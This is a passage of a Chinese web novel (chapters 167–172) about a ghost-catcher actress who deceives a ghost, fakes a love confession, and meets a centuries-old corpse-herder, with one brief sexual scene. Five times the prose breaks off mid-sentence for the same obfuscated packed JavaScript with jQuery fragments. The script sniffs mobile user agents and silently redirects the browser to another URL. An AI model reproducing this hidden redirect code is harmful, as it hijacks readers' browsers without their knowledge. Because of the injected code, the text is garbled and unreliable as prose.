左轻白说得真诚,她现在缺了一魂一魄,是个傻掉的状态,众所周知,傻子是不会骗人的。 金绮月看着左轻白,她的眉头先是重重皱起,接着缓缓舒展,然后表情变成了茫然,似乎有些无措,最后终于喜极而泣。 金绮月把左轻白的一魂一魄放了出来,让它们回到左轻白体内,左轻白的一魂一魄挤走了神秘男人的一魂一魄,神秘男人的一魂一魄离开左轻白身体后悄悄从门缝溜了出去,回到隔壁房间。 隔壁房间里,神秘男人身体一震,那柱古怪的香刚好烧到了尽头。 一魂一魄刚回来,左轻白意识还在飘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15224162|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忽,忽然金绮月一个飞扑扑了上来,张开手臂抱住了左轻白。 金绮月像在拥抱失而复得的珍宝。 “你没有撒谎,你是我的小若姐姐。”金绮月说,左轻白感受到她的身体在抖。 金绮月像小女孩抱巨型娃娃一样抱紧了左轻白,第一次流露出脆弱神情。金绮月道:“姐姐啊,我是鬼,哪怕是神通鬼,也终究是鬼。鬼挣脱不了它的执念,现在你就是我的执念,所以你永永远远不要骗我,不要伤害我,好不好?” 金绮月说最后一句话时,流露出楚楚可怜的神态,不得不说金绮月的样貌天生优越,长得小小一只,脸只有巴掌大,娇滴滴的惹人怜,她用一双幽怨的大眼睛看向左轻白时,左轻白的心“咯噔”一下,居然真的真心实意心软了几分。 接下来的桥段,由于左轻白演起来时带了几分真情实感,所以演得更像了。 左轻白握住金绮月的手,真挚地对她说:“这一世你是鬼,我是人,但没关系啊,谁说人和鬼不能做姐妹?以前在鬼村,我们不也是一人一鬼吗,有什么问题?我现在虽然成了捉鬼师,但我只杀别的鬼,而你,绮月,我只会阻止你做伤天害理的事情,但绝对不会伤害你。” 金绮月“格格”地笑了,说:“姐姐如今倒变得迂腐起来了。伤天害理?何为天?何为理?有定论吗?” 金绮月坐在左轻白大腿上,双手攀着左轻白的肩凑近左轻白,目光在左轻白脸上流转,满是喜爱之情。金绮月笑吟吟地在左轻白耳边说:“姐姐,这个世界强者为王,我是最厉害的神通鬼,世上没人灭得了我,何为天?何为理?由我来定。” 左轻白背上发寒。 金绮月正与左轻白依偎着,忽然有人来敲门,是兰殊尔。 “左轻白,你在里面吗?”兰殊尔的声音从门外传来。 神通鬼跟普通鬼不同,神通鬼不会留下鬼气,所以兰殊尔不会是循着金绮月的鬼气来的,他这时候来敲门,应该只是凑巧。 金绮月眼睛一眯,左轻白紧张了起来。 金绮月露出恶作剧般的笑容,笑眯眯地对左轻白说:“姐姐,你这个捉鬼师我不杀,但外面那个捉鬼师,我想杀来玩玩呢。” 左轻白头皮发麻,“不行!” 金绮月露出委屈巴巴的表情,像得不到糖果的小女孩,嗲声嗲气地说道:“为什么呀?姐姐不支持我吗?刚刚姐姐不是还说我是你最重要的小妹妹吗?” 168. 欲言又止 左轻白心里“咚咚”打鼓,她观察金绮月,发现对方亦在观察自己。金绮月是想试左轻白的态度。 左轻白在心里思考对策,突然她灵机一动,对金绮月说:“绮月,上次你说你可以帮我开后宫,是真的吗?” 左轻白说的是在酒店天台,她首次向金绮月袒露“身份”那次。 “自然,只要你想。小若姐姐,你想要什么,我都能给你。” “那你就别杀门外那个捉鬼师,至少在我对他失去兴趣之前不要杀。”左轻白一指门口,理直气壮道:“我喜欢他,我想把他收编后宫,你帮我一把。” 金绮月古怪地看向左轻白,问:“姐姐,你不是跟路回玩纯爱的吗?” “纯爱有什么好玩的,我想法变了,我现在全都要。”左轻白心里很紧张,她心想:路回对不起,兰殊尔对不起,为了救人我只能这么说。 “既然姐姐喜欢,我不杀也可以。”金绮月沉吟半晌,问:“不过你跟那个捉鬼师相处了这么久,还没把他拿下吗?” “没有……” “你跟他表白了没有?” “没有……” “连表白都没表白,就想收编后宫?姐姐啊,你这后宫是靠意淫出来的吗?” “我……” 金绮月从左轻白腿上跳了下来,把左轻白从椅子上拎起来,推向门口。 金绮月那双黑葡萄一样的眼珠子骨碌直转,她打量着左轻白,说道:“姐姐要是真喜欢,那就打开门,亲口跟他表白,不然我会觉得姐姐骗我。” 左轻白:“……” 金绮月显然是故意的,她在试探左轻白到底是真的喜欢,还是随口一说糊弄自己。 金绮月幽深的大眼睛盯着左轻白,似笑非笑地说:“去啊,姐姐。” 左轻白做了一会心理斗争。 左轻白不是优柔寡断的人,她的心理斗争没有持续太久,她深吸一口气,心一横,用视死如归的架势打开了门。 门开了,兰殊尔站在门口。兰殊尔摆着一张冰山扑克脸,手里拿着台本,对左轻白说:“我俩对下流程,一会上台需要你cue一下我。” 此时兰殊尔并没有发现房间里的金绮月。 “兰殊尔!”左轻白突然叫了兰殊尔一声。 兰殊尔一懵。 左轻白上前半步,以迅雷不及掩耳之势抓住兰殊尔的双手,视死如归道:“你知不知道,我喜欢你很久了!” 兰殊尔先是如遭雷劈,紧接着那张冰山脸“唰”的一下拉了下来,又急又怒、又羞耻又尴尬,脸色相当精彩。兰殊尔对左轻白说:“你疯了吗?你男朋友是路回!你要劈腿吗?” “为了你,我愿意违背道德,承担骂名。”左轻白演出深情表情。 首先,兰殊尔对左轻白没意思,另外,像兰殊尔这种正得发邪的人,怎么可能接受得了这种事情? “你你你……”兰殊尔气得脸色发青,加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15228563|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上有些害羞,他现在的脸青红青红的。 “不知廉耻!无耻下流!逆道乱常!”兰殊尔一股脑儿的骂道,“没想到你是这种人,我看错你了,路回也看错你了!” 兰殊尔甩开左轻白,愤怒得转身就走,边走边气呼呼地说:“你道德败坏,别拉上我!” 这人真是正得发邪、直得像钢板。 兰殊尔只留下一个背影,忽然楼道里传来两声不合时宜的笑声,左轻白的脸“唰”的一下表情尴尬无比,什么情况?怎么还有一个人? 左轻白僵硬地扭头,看到从隔壁休息室里走出来一个年轻男人,年轻男人叫时魏,是个唱跳艺人,曾跟左轻白一起录制过一期《超级侦探秀》,那时候他还送了一盒零食给左轻白。 左轻白看到时魏后,心里突然“咯噔”一下,想到了什么。 刚才那个在左轻白脑子里响起的声音,就是时魏的声音,是时魏的一魂一魄进入了左轻白的身体,补全左轻白的魂魄,才让左轻白免于失智。 时魏走的是阳光大男孩的路线,一双桃花眼眼角带笑,仿佛时刻在放电。 时魏打扮得很时髦,时髦中又不失清爽,气质像大学生。时魏俏皮地朝左轻白眨眨眼,笑着说:“我是不是听到了不该听的东西?” 时魏摸着下巴,笑眯眯道:“奇怪,左小姐跟圈外那位男朋友的感情不是一直很好吗?不久前还传出了怀孕传闻呢,怎么……” 时魏欲言又止。 169. 什么人 左轻白不知道时魏是何方神圣,也不知道对方是什么立场,金绮月还在,她不好在这里跟时魏摊牌。左轻白做了个噤声的手势,对时魏说:“嘘,刚才的事,一定要替我保密。” 时魏歪了歪头,笑而不语,只是俏皮地眨了眨眼。 “你怎么也来参加发布会了?”左轻白问。 “我是神秘嘉宾啊,你们这部剧的主题曲由我来唱。”时魏笑眯眯地说。 “这样啊……” 左轻白打量时魏,有很多问题要问,她想问刚才帮我的是你吧?你是什么人?你也是从其他时空穿过来的捉鬼师吗?可金绮月还在休息室里,左轻白不敢问。 这时,看了场好戏的金绮月走了出来,左轻白看了她一眼,心里忐忑,不知道自己有没有通过她的测试。 “绮月?”时魏看到金绮月,眼前一亮。 左轻白忽然反应过来,在原书《登顶娱乐圈女王》中,时魏也是大女主金绮月的追求者之一,只不过戏份不多,只出现过两三次,跟金绮月隐晦地表达过好感后就没再出场了。 在原书中,女主金绮月的追求者可多了,路回、周夙、时魏……两只手都未必数得过来,这很正常,大女主世界,一切都是围绕女主转的。 在书里,时魏是金绮月的追求者,那在现实中他是什么立场?我到底该不该信任他?左轻白想。 金绮月朝时魏露出微笑,他俩合作过。 “好久不见,时魏。”金绮月一脸人畜无害。 “绮月你怎么在这里?”时魏相当夸张地把左轻白推到一边去,“蹭”的一下窜到金绮月跟前,左轻白一个趔趄差点摔倒。 “轻白姐姐的新剧做宣传,我特地来给轻白姐姐助阵。”金绮月笑眯眯地说,她挽上左轻白的手臂,用娇憨的语气说道:“我跟轻白姐姐关系最好了。” 金绮月长着一张幼态的娃娃脸,又娇又俏,黑长直的头发还带了点初恋的感觉,她的娇憨浑然天成,时魏夸张地捂住心口,露出“为你痴狂”的表情。 “不知道你来,今天没带玫瑰花。”时魏望着金绮月,诚挚地说。 金绮月掩嘴轻笑,“我不喜欢玫瑰,我喜欢曼珠沙华。” “好品味。”时魏张口就夸。 “因为它又叫死人花,是开在地狱的。”金绮月幽幽道。 “真特别。”时魏继续夸。 左轻白:“……” 我受不了了,左轻白心想,这人到底谁啊? 时魏还想继续恭维金绮月,周夙不知道什么时候来了,冷不丁出现在时魏身后,冷冷地看着他。 “时先生。”周夙冷冷道。 “哎哟,周老板。”时魏赶紧打哈哈,他居然认识周夙。 周夙走到金绮月身边,像宣誓主权一样对时魏说:“绮月是我女朋友。” 周夙的目光看得时魏发怵,时魏脖子缩了缩,不敢再说话。 这时有工作人员叫时魏过去,时魏像抓住了救命稻草,跟几人打了声招呼后连忙一溜烟走了。 周夙比金绮月高很多,他双手捧上金绮月的双肩,身体几乎能完全笼罩住金绮月,周夙担心地问:“绮月,你没事吧?” 一旁的左轻白整个震惊,眼睛瞪得比铜铃还大。 左轻白心里疯狂吐槽:我说周夙你也是个神人啊,一只几乎无敌的神通鬼,发起疯来能杀光整座城市,用得着你来担心有事没事?你怎么不担心担心你自己?你怎么不担心担心我? 周夙冷冷地一瞥左轻白,目光中带着警告的意味,像是在质问左轻白把金绮月怎么样了。 左轻白继续吐槽:你这眼神什么意思?觉得我对金绮月不利?拜托,我能把她怎么样?我现在被她玩得死死的! “你怎么来了?”金绮月问周夙。 “我路过,知道你在这里,就来看看。”周夙说。 时魏走后,居然又来了个路回。 路回看上去很着急,像是有什么紧迫的事情一样,几乎是小跑着来的,他一来就焦急地抓住左轻白的手,问:“你没事吧?” 左轻白心想:你们哥俩的台词怎么都一样? 路回一路小跑,额头上都出了细密的汗珠。路回一向稳重,周夙很少见到路回这么着急,觉得非常奇怪,周夙想了又想,忽然想到了什么,恍然大悟道:“路回你这么着急,难道真的……” 说着,他的目光落到了左轻白的肚子上。 周夙心想那个小道消息不会是真的吧?左轻白怀孕了?可工作室辟谣了啊,但万一辟谣才是假的呢?毕竟娱乐圈真真假假…… 左轻白知道周夙在想什么,怒道:“没有啊!” 金绮月凑了个脑袋过来,眨巴眨巴眼睛,好奇道:“真没有?我刚才也想求证来着,一时忘了。” 人八卦,鬼也八卦。 很快,发布会开始了。 台上,剧组人员站成一排,台下,记者轮番问问题,周夙、金绮月、路回全都坐在下面,来都来了,干脆把发布会看了再走。 左轻白和兰殊尔在剧中饰演男女主,男女主肯定是要站在一起的,但兰殊尔冷着一张脸,刻意地跟左轻白保持距离,两人之间隔了好大一个空间。 记者们面面相觑,左轻白赶紧打圆场,指着兰殊尔,用开玩笑的语气说:“他是真的很讨厌我。跟大家小小剧透一下,在剧里面,一开始他就是这么讨厌我。” “那在后面的剧情中,两个人的关系会变好吗?”一个记者问。 “当然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15259310|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。”左轻白笑着说,“不然怎么能是男女主呢?” 大家笑了起来。 如今兰殊尔见到左轻白像见到病毒似的,恨不得绕道走,在台上也不跟左轻白互动,但因为都知道兰殊尔性格冷,所以记者们也没较真,倒是路回敏锐地察觉到了不对。 “他们在台上为什么不互动?”路回道。 “谁?”一旁的周夙问。 “轻白和兰殊尔。” “他俩互动你很开心?” “不开心。” “那这样不挺好?” “不,这样更不对。”路回突然坐正,说:“一直以来她跟兰殊尔的相处跟普通朋友一样,大大方方,现在两人突然不大方了,甚至扭捏作态,那就一定有问题。” 路回突然不高兴起来。 金绮月瞥了路回一眼,却什么也没说,只觉得好笑,她纯看戏的。金绮月露出似笑非笑的表情,感到有趣极了,她的时间漫漫,没有这些有趣的戏码打发时间怎么行呢? 发布会开到一半的时候,金绮月觉得兴致寥寥,她叫上周夙,给左轻白发了条信息,提着左轻白送给她的龙虾花灯,施施然离开了现场。 发布会结束,兰殊尔逃似的走了,他在门口遇到了路回,整个人变得十分僵硬,兰殊尔很尴尬,顶着一张冰山脸连招呼都没打就匆匆逃了。 一定有问题。看到兰殊尔的反应,路回眼睛一眯,想。 路回去后台找左轻白,可左轻白不在她的休息室,此时左轻白在时魏的休息室,时魏拉她进去的。 “我不能在你这呆太久,我那男朋友爱吃醋,一会他发现我不在自己休息室,在你休息室,会不高兴的。”左轻白说。 时魏笑道:“左小姐不是都已经劈腿了吗?还这么在意前任的心情?” “不是前任!是现任!”左轻白急道,“情况复杂,晚点再跟你解释,你先告诉我你是什么人?刚才是你在帮我吧?” 左轻白心里惦记路回,想长话短说,但显然时魏不想。 化妆台的桌子上盖着一块白布,时魏走过去,不紧不慢地掀开白布,左轻白看到了白布下的香炉和那些绿莹莹的香。 这香很奇怪,但左轻白认得,这香叫解魂香,人有三魂七魄,三魂是天魂、地魂、人魂,七魄为尸狗、伏矢、雀阴、吞贼、非毒、除秽、臭肺,三魂七魄本是一体,解魂香可使其分离,刚才时魏就是利用解魂香把自己的一魂一魄分离出去,进入左轻白体内,补全左轻白的三魂七魄。 解魂香是道家法宝,捉鬼师是道家的一个支流,所以捉鬼师知道解魂香,但会用解魂香的不一定是捉鬼师。 左轻白眉眼一压,声音一低,问时魏:“你是谁?是捉鬼师还是别的什么人?” 170. 爷爷的爷爷 “我不是捉鬼师。200年前,我是一名赶尸匠。”时魏说。 “赶尸?200年前?”左轻白疑问太多,不知从何问起。 时魏在椅子上坐下,说道:“世上有四类奇人,分别是捉鬼师、傩戏师,巫师——巫师也可以叫占卜师,以及赶尸匠。” 时魏继续往下说:“捉鬼师你知道的,你自己就是;傩戏师你见过的,圈里有个演员叫归延,他就是,你跟他合作过;至于巫师,周家是巫师家族,据我所知,刚才那个周夙是巫师家族的传人;而你面前的我,就是最后一类奇人——赶尸匠。” 时魏解释什么是赶尸匠:“古时候一些客死他乡的人,因为交通、人力等原因,尸体运输很不方便,为了让这些人落叶归根,尸体回到家乡安葬,就有了我们这些赶尸匠。赶尸匠有秘法,我们在后面走,操控需要运输的尸体排成一列在前面走,远远望去跟活人没什么不同。尸体自己走路回家,节省了很多人力物力。” 左轻白点点头,“倒是听说过。传说中赶尸匠赶尸时身穿道袍,也算是道家的一个分支,难怪会用解魂香这种道家法宝。可为什么你说你是两百年前的赶尸匠?总不可能你已经有两百岁了吧?” “为什么不可能?”时魏笑了笑,神情不像说谎。 “你……”左轻白一下就想到了周家那个奇怪的祖先周如森,周如森也两百多岁了。 哪有人能活到两百多岁的?可时魏全身上下没有鬼气,跟正常人没什么不同。 时魏眼中露出沧桑,神情低落下去,他的容貌明明没变,可精神气却一下没了,仿佛从一个朝气蓬勃的阳光大男孩变成一个历尽沧桑的老人。 “不是我想活这么久的,我只是还有事情未完成。”时魏黯然道。 “什么事?” “等捉鬼师,杀神通鬼,救心爱人。”时魏回答得很干脆。 这个世界所有人都在等捉鬼师,周如森在等,时魏也在等。 “你知道谁是神通鬼吗?”左轻白问。 “金绮月。” “你想杀金绮月?可你不是喜欢金绮月吗?”左轻白好奇,毕竟书里是这么写的,而且刚才时魏还讨好金绮月来着。 “烟雾弹而已。我想神通鬼死,想了两百年。”时魏眼中闪过恨意。 “你怎么知道我是捉鬼师?又怎么知道金绮月要试我?”左轻白又问。 “我遇到了狐狸神,狐狸神化身成一个肩上站着鹦鹉的女童,找到了我,一切都是狐狸神告诉我的。”时魏实话实说。 “又是狐狸神……”左轻白喃喃。 “你是不是在找弥月刃碎片?”时魏问。 “是。” “我手上就有一片。” “真的吗?”左轻白惊喜道,心想这片碎片来得这么容易吗? “但我不能白给你。”时魏说,“你要帮我救人,不,救鬼。我在狐狸神的指引下等了两百多年,终于等到你了,捉鬼师,你必须帮我。” “把碎片给我,一切好说。”左轻白拍了拍胸脯,“你只需告诉我我要怎么做?” 时魏却没有直接说明他要左轻白如何做,而是道:“过段时间是慈善日,圈里组织了一场赴西北的明星慈善义演,我报了名,你也报名,我们一起去西北,路上我会把来龙去脉告诉你。” 他说完,忽然一阵急促的敲门声传来。 “左轻白!”路回的声音从门外传来。 “我男朋友来了。”左轻白说。 时魏道:“今天我先说这么多,总之,义演你来就对了。事成之后,我把碎片给你。” 时魏说完去开门。 突然,左轻白叫住了他,问:“时魏,你知道周如森吗?就是周夙那个巫师家族的祖先,他也两百多岁了,而且他和你一样,也很想杀神通鬼,你跟他是有什么渊源么?” 时魏脚步一停,头一回,看着左轻白,说:“有。具体因缘,你来义演,我都告诉你。”时魏再次强调要左轻白参加义演。 说完,时魏打开了门。 路回站在门外,寒气逼人,用一种能吃人的眼神看着时魏。时魏又恢复了阳光大男孩的伪装,他吐了吐舌头,跟路回打招呼:“原来是嘉烨娱乐的路总,路总好。” 路回的目光望向屋内,看到左轻白果然在里面,而且除了左轻白和时魏外没有第三个人,路回的脸色愈发寒冷。 此刻路回终于露出了他当老总时那能震慑人的气场,无视时魏,大步往休息室里走,一把抓住左轻白的手,把她往外拉。 路回没带左轻白回她自己的休息室,而是直接把左轻白拉上了他那辆柯尼塞格。 路回把左轻白塞到后座,自己也坐进后座。车门一关,路回牙关咬紧,说道:“我今天在办公室,突然头痛得要死,直觉告诉我你有危险,我匆匆忙忙赶来,却发现有狗屁的危险?你居然在跟圈子里那些乱七八糟的人打情骂俏!” 路回醋坛子总是乱飞,左轻白习惯了,她没慌,而是温柔地摸了摸路回的脑袋,说:“你头痛?怎么回事?回头看看医生吧,看看中医也好。” “你为什么会单独跟时魏在休息室?”路回质问。 “他手里有一块弥月刃碎片。”左轻白赶紧解释。 “兰殊尔为什么躲着我走?” “他就那怪性格。” “你觉得我会信你吗?”路回急了。 “你为什么不信我啊?”左轻白反问。 左轻白捧住路回的脸,说:“路回,今天的一切我都会原原本本地告诉你,你别总跟我急,好吗?” 路回突然眼一红,说:“你总跟我说那些话,却让我不要急?” “我总说什么话?”左轻白问。 “说你会跟我分开,甚至说你会死。” 左轻白一愣,她确实跟路回说过这样的话。 这话不能随便说啊,说了对方会有不安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266590|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全感。 但这又是事实,谁知道以后会发生什么? 此刻,没心没肺的左轻白感到心里一酸,看向路回的眼神变得复杂而幽深。 左轻白的大眼睛深深地看着路回,目光饱含情愫,看得路回心里一软,质问的话再也说不出口。 路回抱住左轻白,低声问:“为什么这么看我?觉得这么看我我就心软了?今天的事情就不跟你计较了?” “今天的事情我都会跟你解释。”左轻白说,她笑了笑,忽然她心念一动,伸手轻刮路回的鼻尖,轻声说了一句:“醋坛子。” 左轻白这个举动把路回点燃了。 路回抓住左轻白的手,哑声道:“我怎么总拿你没办法呢?” 左轻白看着路回,恍惚间路回这张脸跟500年前善渊道人的那张脸重合在一起。 是他吗?两人是一个人吗?他俩很像,又很不像。 那个善渊道人是个闷葫芦,比女孩还要害羞,憋着一句“喜欢”死活说不出口;现在这个路回表面上矜贵又正经,实际上飞醋吃得跟什么似的,食醋店都要吃倒闭了。 左轻白像喝醉酒一样笑了起来。 路回吻了吻左轻白的头发,说:“我也有那种感觉了,和你一样的感觉。” “什么感觉?” “觉得我已经与你相伴了很久很久。”路回的吻一路向下,从左轻白的额头到鼻尖再到嘴唇。 路回的手情不自禁地抚向左轻白腰间,左轻白打了一下那只手,嗔道:“疯了吧你?这里人多。” “那咱们回家继续?”路回笑道。 路回带着左轻白开车回家。车辆驶入别墅,在车库停下。 路回刚解开安全带,左轻白就一个跨步,从后座跨到驾驶座,在路回腿上一坐。 左轻白问路回:“你是想先听我解释今天的事,还是想先继续刚才的事?” 路回的手扶住左轻白的腰。 “就不能一边跟我解释,一边做事吗?反正捉鬼师小姐精力充沛,两件事同时进行,有何不可呢?”路回在左轻白耳边轻声说。 他一边说,手一边不老实地动了起来。 “带套没有?”左轻白问。 “不带咱们生呗。” “滚。” “车里有。” “你车里怎么有这东西?” “因为老早就计划着跟你在车里做这事了。” “老不正经。” “哦?你很正经?” “我也不正经。”左轻白笑道。 …… 左轻白坐在路回身上,死死搂住对方的脖子,在欲.仙.欲.死的刺激下发出轻吟;路回吻着她的颈侧,一直吻到肩头。 “时魏让我去西北慈善义演,我打算去。嗯……放心,我不会看上他的,他都两百多岁了,能做我爷爷的爷爷,我对爷孙恋不感兴趣……啊哈,慢点……”左轻白细细碎碎地说。 171. 阳光大男孩 兰殊尔最近不太好过,总有人来找他茬,要么是狗仔要么是私生,网上还莫名其妙来了批黑子,针对他突然开喷。 这都是金绮月安排的。那天兰殊尔拒绝了左轻白,还骂左轻白道德败坏,为了给姐姐出口气,又不伤到姐姐的“心肝宝贝”,于是金绮月安排了这一出。 兰殊尔这是虽消了大灾,也倒了大霉。 左轻白报名了西北义演,金绮月为了让她顺利收后宫,用鬼术迷惑了兰殊尔公司的老板,于是那老板把兰殊尔也塞到义演队伍中去了。为了“报答”金绮月,左轻白请金绮月吃了顿饭。 左轻白选的餐厅在24层,她们的包间位置很好,可以俯瞰京城景色最美的江边。 上了菜,金绮月却不着急吃,她坐在窗边,拿着一根黑色的绳子在玩翻绳,左轻白看到了,虽然面上没什么变化,但心中却是一惊——在记忆碎片中,金绮月就是一边翻绳,一边操控自己杀了路回。 金绮月翻了一会,看了左轻白一眼,见左轻白对自己手中的翻绳没什么兴趣,这才把绳子放了下来。 左轻白这时才后知后觉地抬起头来,问金绮月:“咦,怎么不玩了?” “不想玩了。”金绮月说。 “我陪你玩吧,以前也是我陪你玩。”左轻白说。 金绮月头靠着玻璃,幽幽地说:“在鬼村是你陪我玩,离开了鬼村,好像还有一个人陪我玩,那个人叫什么来着?好像叫……白栀,对,好像是叫白栀。” 除了鬼村的事情外,很多事金绮月都记不清了,连白栀的名字都想了好一会才想起来。 白栀是谁啊?当初金绮月寄住在采莲邬赵家时,老被饿肚子,那个叫白栀的少女总是给她带烧饼吃。 左轻白知道白栀,她在原书《登顶娱乐圈女王》的番外中见过这个少女,白栀美丽善良,像一股含着栀子花香的清风,在采莲邬的时候,白栀很照顾金绮月。 白栀后来怎么样了,番外里没写。 左轻白假装什么都不知道,问金绮月道:“白栀是谁啊?是你的好朋友吗?” “好朋友?”金绮月古怪地笑了一声,说:“不算吧。她后来被我杀了。” “啊?” “我从天女城出来后,做的第一件事是屠了采莲邬,白栀也在采莲邬,是她自己要跟那些人混在一起,我只能顺手把她杀了。” “可是……”左轻白想说可是她常常给你送烧饼啊,但她最终什么也没说出口。 没有什么可是的,金绮月是鬼,鬼杀人,天经地义。 不知是不是左轻白看错了,左轻白觉得金绮月的眼神黯了一下,有一瞬间似乎在伤神。 一定是错觉。 金绮月靠近餐桌,又恢复了天真无邪、人畜无害的小女孩模样,露出八卦的神情,笑嘻嘻地对左轻白说:“姐姐,那个姓兰的也在西北义演的名单里,机会我都已经给你创造好了,你自己要努力哦。” “我会的,谢谢绮月。”左轻白露出假笑。 慈善日将近,参加义演的明星们陆陆续续到达大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15272523|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西北。 左轻白也到了。 这是一个叫漠歌的城市,大漠黄沙,苍凉戈壁,还有壮观的胡杨林。 漠歌市以胡杨林出名,左轻白闻名已久,一下飞机就直奔胡杨林。 左轻白到底是个明星,戴着墨镜、帽子,全副武装。她一向不带助理,一个人很低调,不容易被认出。 漠歌市的胡杨林占地47万亩,如今正是欣赏胡杨的好季节。胡杨叶黄了,放眼过去金光闪闪;大片大片的胡杨林与沙漠相连,金黄色的胡杨叶与黄沙共舞;大漠沧桑映入眼帘,让人觉得悲凉壮阔。左轻白踏步林间,感到心潮澎湃, 左轻白张开双臂,她爱美景,无论是天窗的“玻璃水”、天窗上摇曳生姿的“水性扬花”,还是苍凉大气的胡杨林,她都爱。 突然,一只绿色的鹦鹉突兀地从左轻白耳边飞过。 这里怎么会有鹦鹉? 狐狸神!左轻白猛的反应过来,连忙追着鹦鹉跑。 鹦鹉飞得很快,倏的一下消失在了胡杨林间。左轻白左看看,右看看,哪里还找得到鹦鹉的影子? 左轻白正觉得奇怪,一个人影从胡杨树后面走了出来。 这人戴着墨镜,打扮得很时髦,无论是相貌还是体态,看起来都很年轻,他摘下墨镜,朝气蓬勃地朝左轻白招了招手,露出一个阳光大男孩式的笑容,光芒四射。他跟左轻白打招呼道:“嗨,左小姐,玩得开心吗?” 这人就是时魏,那个已经两百多岁还在装阳光大男孩的赶尸匠。 172. 茶木古城 左轻白双手抱臂,看着时魏。 如果说在此之前左轻白还对时魏抱有怀疑,但刚才亲眼见到了狐狸神的鹦鹉,如今左轻白已经相信,时魏确实是受到了狐狸神的指引找到自己的。 左轻白走向时魏。 兰殊尔没跟左轻白在一起,正常,最近兰殊尔恨不得把左轻白拉黑删除。 左轻白开门见山,问时魏:“你要我怎么帮你?先说好,我帮你后,你要信守诺言,把弥月刃碎片给我。” 时魏撇了撇嘴,露出类似小孩子不高兴的表情,两百多岁的人了,非要装得一派天真。 时魏说:“左小姐怎么这么无趣?这地方很好玩的,左小姐不如先玩开心了,再做正事。” 时魏带着左轻白往东边走,“我这事说来话长,从这往东,一直走出胡杨林,有个当地的博物馆,我们一路走到博物馆,边走边说吧。” 二人朝博物馆的方向走去。 时魏用闲聊的语气打开话题:“胡杨林挨着沙漠,左小姐经常抓鬼,不知道有没有听说过沙漠里的鬼故事?” “这里的沙漠吗?” “嗯。”时魏点点头,“传闻这片沙漠里有座古城,叫茶木古城,但考古学家们一直没找到它。传说这里的沙漠磁场是紊乱的,路过这上空的飞机经常发生事故,已经不只一架飞机坠毁在这片沙漠中了。有些飞机能找到残骸,有些连渣都不剩,飞机上的那些人,也都没了踪影。” 左轻白想了想,说:“有一些地方容易发生空难,多是因为地形条件和天气原因。沙漠地形复杂,飞行员难以判断高度和位置,还容易遭遇沙尘暴等极端天气,所以容易有空难,这都是可以用科学来解释的。” 时魏张大嘴,露出一个夸张的惊讶表情,道:“我没有听错吧?一位捉鬼师在跟我讲科学?” “我是新时代的捉鬼师,现在讲究玄学与科学相结合。”左轻白强调。 时魏抚掌大笑,左轻白不知道他在笑什么。 时魏继续往下说他的鬼故事:“40年前,知名探险家王充,带领一支探险队进入沙漠,寻找茶木古城。队伍总共六人,最后幸存下来的只有三人。” 左轻白叹气,“沙漠、海洋、冰川,鬼都不去的地方,这些人类禁区还是要尊重一点好。” “据幸存下来的人说,他们在沙漠中遇到了非常可怕的事情,而且,他们找到了茶木古城。” “真的假的?” “幸存的人说,遇难的三个人死在了茶木古城里。但不少人对幸存者的说辞表示质疑,有人甚至怀疑,遇难的三个人是被活下来的三个人当作食物吃掉了。” “这……” 